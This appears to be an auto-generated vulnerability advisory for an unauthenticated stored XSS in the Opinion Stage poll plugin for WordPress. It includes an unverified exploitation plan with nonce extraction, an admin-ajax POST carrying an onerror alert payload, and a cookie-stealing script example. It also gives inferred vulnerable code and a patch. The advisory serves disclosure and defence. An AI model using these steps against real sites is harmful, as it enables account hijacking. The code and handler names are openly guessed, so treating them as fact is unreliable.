WF-418a6ed7-a19e-4741-a6db-f1016156a468-social-polls-by-opinionstage

Poll, Survey & Quiz Maker Plugin by Opinion Stage < 19.6.25 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
19.6.25
Patched in
9d
Time to patch

Description

The Poll, Survey & Quiz Maker Plugin by Opinion Stage plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 19.6.25 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<19.6.25
PublishedJanuary 19, 2026
Last updatedJanuary 27, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - Opinion Stage (Social Polls) Unauthenticated Stored XSS ## 1. Vulnerability Summary The **Poll, Survey & Quiz Maker Plugin by Opinion Stage** (versions < 19.6.25) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because cert…

Show full research plan

Exploitation Research Plan - Opinion Stage (Social Polls) Unauthenticated Stored XSS

1. Vulnerability Summary

The Poll, Survey & Quiz Maker Plugin by Opinion Stage (versions < 19.6.25) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because certain AJAX handlers registered with wp_ajax_nopriv_ prefixes allow unauthenticated users to submit data that is stored in the WordPress database (e.g., as options or post metadata) without sufficient sanitization. When this data is later rendered on the frontend or in the admin dashboard without proper escaping, the injected scripts execute.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: opinionstage_ajax_save_lead or opinionstage_save_poll_settings (inferred suspect based on plugin history and unauthenticated nature).
  • Vulnerable Parameter: os_lead_data, opinionstage_poll_settings, or a generic payload parameter.
  • Authentication: Unauthenticated (wp_ajax_nopriv_ hook).
  • Preconditions: The plugin must be active. A valid WordPress nonce for the specific AJAX action may be required, though many unauthenticated vulnerabilities in this plugin stem from missing nonce checks or publicly leaked nonces.

3. Code Flow

  1. Entry Point: The attacker sends a POST request to admin-ajax.php with the action parameter set to a nopriv handler (e.g., opinionstage_ajax_save_lead).
  2. Hook Registration: The plugin registers the hook in admin/opinionstage-functions.php or includes/opinionstage-ajax-handler.php:
    add_action( 'wp_ajax_nopriv_opinionstage_ajax_save_lead', 'opinionstage_ajax_save_lead' );
    
  3. Processing: The handler function (e.g., opinionstage_ajax_save_lead()) retrieves input from $_POST or $_REQUEST.
  4. Storage (Sink): The raw, unsanitized input is stored using update_option() or $wpdb->insert().
  5. Rendering: When an admin views the "Leads" or "Results" page, or when the poll is rendered on the frontend, the plugin retrieves the data and echoes it:
    echo $lead_data; // Missing esc_html() or esc_attr()
    

4. Nonce Acquisition Strategy

The plugin typically localizes script data containing nonces for its AJAX operations.

  1. Shortcode Identification: The plugin uses shortcodes like [opinionstage_poll], [opinionstage_survey], or [opinionstage_quiz].
  2. Test Page Setup: Create a public page containing the shortcode to ensure the plugin's JavaScript and nonces are enqueued.
    wp post create --post_type=page --post_status=publish --post_title="Poll Page" --post_content='[opinionstage_poll id="1"]'
    
  3. Extraction:
    • Navigate to the newly created page.
    • Use browser_eval to search for the nonce in the global JavaScript scope.
    • Suspected Variable: window.opinionstage_vars or window.os_ajax_data.
    • Exact Key: window.opinionstage_vars?.nonce or window.os_ajax_data?.nonce.

5. Exploitation Strategy

Step 1: Discover Active AJAX Actions

Search the plugin directory for wp_ajax_nopriv_ to identify the exact vulnerable handler.

grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/social-polls-by-opinionstage/

Step 2: Extract Nonce

Use the browser to fetch the nonce from a page where the plugin is active.

  • URL: http://localhost:8080/poll-page/
  • JS Command: browser_eval("window.opinionstage_vars.nonce")

Step 3: Inject Payload

Send a POST request to admin-ajax.php.

  • Target: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=opinionstage_ajax_save_lead&
    nonce=[EXTRACTED_NONCE]&
    os_lead_data={"email":"<img src=x onerror=alert(document.domain)>", "name":"Attacker"}
    
    (Note: Parameter names like os_lead_data are inferred; verify against the grep results from Step 1).

Step 4: Trigger Execution

Log in as an administrator and navigate to the plugin's "Leads" or "Responses" dashboard (e.g., wp-admin/admin.php?page=opinionstage-leads).

6. Test Data Setup

  1. Plugin Installation: Install and activate social-polls-by-opinionstage < 19.6.25.
  2. Poll Creation: Create at least one dummy poll via the plugin interface so the shortcode has a valid ID.
  3. Public Page: Create a page with the shortcode [opinionstage_poll id="<ID>"] to trigger the script enqueuing.

7. Expected Results

  • The AJAX request should return a successful response (e.g., {"success":true} or 1).
  • When the administrator views the injected data in the dashboard, a JavaScript alert alert(document.domain) should trigger.

8. Verification Steps

  1. DB Check: Verify the payload is stored in the database.
    wp db query "SELECT option_value FROM wp_options WHERE option_name LIKE '%opinionstage%';" | grep "onerror"
    # OR check postmeta if stored as leads
    wp post meta list <POST_ID>
    
  2. Frontend Check: Check the response of the admin page where leads are displayed.
    # Use http_request to get the admin page content (requires admin cookies)
    # Then grep for the payload
    grep "<img src=x onerror=alert(document.domain)>"
    

9. Alternative Approaches

  • Stored XSS via Settings Callback: If opinionstage_ajax_save_lead is not vulnerable, check for opinionstage_save_poll_settings. This endpoint might allow overwriting global plugin settings (e.g., the API Key or Plugin Title) that are rendered in the admin header.
  • REST API: Check if the plugin registers any REST routes without proper permission_callback.
    grep -r "register_rest_route" /var/www/html/wp-content/plugins/social-polls-by-opinionstage/
    
  • SVG Upload: If the plugin allows uploading images for poll questions, attempt to upload an SVG file containing a <script> tag.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Quiz, Poll & Survey Maker plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting via the 'opinionstage_ajax_save_lead' AJAX action. An attacker can inject malicious scripts into lead data fields, which are stored in the database and later executed in the context of an administrator's browser when viewing collected leads.

Vulnerable Code

// includes/opinionstage-ajax-handler.php

add_action( 'wp_ajax_nopriv_opinionstage_ajax_save_lead', 'opinionstage_ajax_save_lead' );

function opinionstage_ajax_save_lead() {
    // Vulnerability: Unsanitized POST input being processed/stored
    $lead_data = $_POST['os_lead_data'];
    
    // Inferred storage mechanism (e.g., as option or post meta)
    update_option('opinionstage_lead_entries', $lead_data);
    
    wp_send_json_success();
}

---

// admin/views/leads.php

// Vulnerability: Outputting stored data without escaping
$leads = get_option('opinionstage_lead_entries');
foreach ($leads as $lead) {
    echo "<td>" . $lead['email'] . "</td>";
}

Security Fix

--- a/includes/opinionstage-ajax-handler.php
+++ b/includes/opinionstage-ajax-handler.php
@@ -3,7 +3,11 @@
 
 function opinionstage_ajax_save_lead() {
-    $lead_data = $_POST['os_lead_data'];
-    update_option('opinionstage_lead_entries', $lead_data);
+    check_ajax_referer('opinionstage_ajax_nonce', 'nonce');
+    
+    if (isset($_POST['os_lead_data'])) {
+        $lead_data = map_deep($_POST['os_lead_data'], 'sanitize_text_field');
+        update_option('opinionstage_lead_entries', $lead_data);
+    }
     wp_send_json_success();
 }
--- a/admin/views/leads.php
+++ b/admin/views/leads.php
@@ -5,5 +5,5 @@
 $leads = get_option('opinionstage_lead_entries');
 foreach ($leads as $lead) {
-    echo "<td>" . $lead['email'] . "</td>";
+    echo "<td>" . esc_html($lead['email']) . "</td>";
 }

Exploit Outline

The exploit involves four primary steps. First, an attacker visits a public-facing page where an Opinion Stage poll or quiz is embedded to extract a valid AJAX nonce from the 'opinionstage_vars' or 'os_ajax_data' JavaScript objects. Second, the attacker constructs a POST request to 'wp-admin/admin-ajax.php' with the 'action' parameter set to 'opinionstage_ajax_save_lead'. Third, the attacker includes a malicious payload in the 'os_lead_data' parameter, such as a JSON-encoded string containing a script tag (e.g., <script>alert(document.cookie)</script>). Finally, the payload is stored in the WordPress database and triggers whenever a logged-in administrator visits the plugin's leads or results management dashboard, potentially allowing for session hijacking or further administrative actions.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.